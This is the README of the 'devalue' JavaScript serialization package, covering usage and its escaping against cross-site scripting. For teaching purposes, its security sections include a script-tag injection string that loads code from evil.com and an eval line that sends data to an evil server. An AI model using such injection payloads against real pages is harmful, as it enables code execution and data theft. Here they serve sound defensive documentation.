UNPKG

3 kBMarkdownView Raw
1# devalue
2
3Like `JSON.stringify`, but handles
4
5* cyclical references (`obj.self = obj`)
6* repeated references (`[value, value]`)
7* `undefined`, `Infinity`, `NaN`, `-0`
8* regular expressions
9* dates
10* `Map` and `Set`
11
12Try it out on [runkit.com](https://npm.runkit.com/devalue).
13
14## Goals:
15
16* Performance
17* Security (see [XSS mitigation](#xss-mitigation))
18* Compact output
19
20
21## Non-goals:
22
23* Human-readable output
24* Stringifying functions or non-POJOs
25
26
27## Usage
28
29```js
30import devalue from 'devalue';
31
32let obj = { a: 1, b: 2 };
33obj.c = 3;
34
35devalue(obj); // '{a:1,b:2,c:3}'
36
37obj.self = obj;
38devalue(obj); // '(function(a){a.a=1;a.b=2;a.c=3;a.self=a;return a}({}))'
39```
40
41If `devalue` encounters a function or a non-POJO, it will throw an error.
42
43
44## XSS mitigation
45
46Say you're server-rendering a page and want to serialize some state, which could include user input. `JSON.stringify` doesn't protect against XSS attacks:
47
48```js
49const state = {
50 userinput: `</script><script src='https://evil.com/mwahaha.js'>`
51};
52
53const template = `
54<script>
55 // NEVER DO THIS
56 var preloaded = ${JSON.stringify(state)};
57</script>`;
58```
59
60Which would result in this:
61
62```html
63<script>
64 // NEVER DO THIS
65 var preloaded = {"userinput":"</script><script src='https://evil.com/mwahaha.js'>"};
66</script>
67```
68
69Using `devalue`, we're protected against that attack:
70
71```js
72const template = `
73<script>
74 var preloaded = ${devalue(state)};
75</script>`;
76```
77
78```html
79<script>
80 var preloaded = {userinput:"\\u003C\\u002Fscript\\u003E\\u003Cscript src=\'https:\\u002F\\u002Fevil.com\\u002Fmwahaha.js\'\\u003E"};
81</script>
82```
83
84This, along with the fact that `devalue` bails on functions and non-POJOs, stops attackers from executing arbitrary code. Strings generated by `devalue` can be safely deserialized with `eval` or `new Function`:
85
86```js
87const value = (0,eval)('(' + str + ')');
88```
89
90
91## Other security considerations
92
93While `devalue` prevents the XSS vulnerability shown above, meaning you can use it to send data from server to client, **you should not send user data from client to server** using the same method. Since it has to be evaluated, an attacker that successfully submitted data that bypassed `devalue` would have access to your system.
94
95When using `eval`, ensure that you call it *indirectly* so that the evaluated code doesn't have access to the surrounding scope:
96
97```js
98{
99 const sensitiveData = 'Setec Astronomy';
100 eval('sendToEvilServer(sensitiveData)'); // pwned :(
101 (0,eval)('sendToEvilServer(sensitiveData)'); // nice try, evildoer!
102}
103```
104
105Using `new Function(code)` is akin to using indirect eval.
106
107
108## See also
109
110* [lave](https://github.com/jed/lave) by Jed Schmidt
111* [arson](https://github.com/benjamn/arson) by Ben Newman
112* [tosource](https://github.com/marcello3d/node-tosource) by Marcello Bastéa-Forte
113* [serialize-javascript](https://github.com/yahoo/serialize-javascript) by Eric Ferraiuolo
114* [jsesc](https://github.com/mathiasbynens/jsesc) by Mathias Bynens
115
116
117## License
118
119[MIT](LICENSE)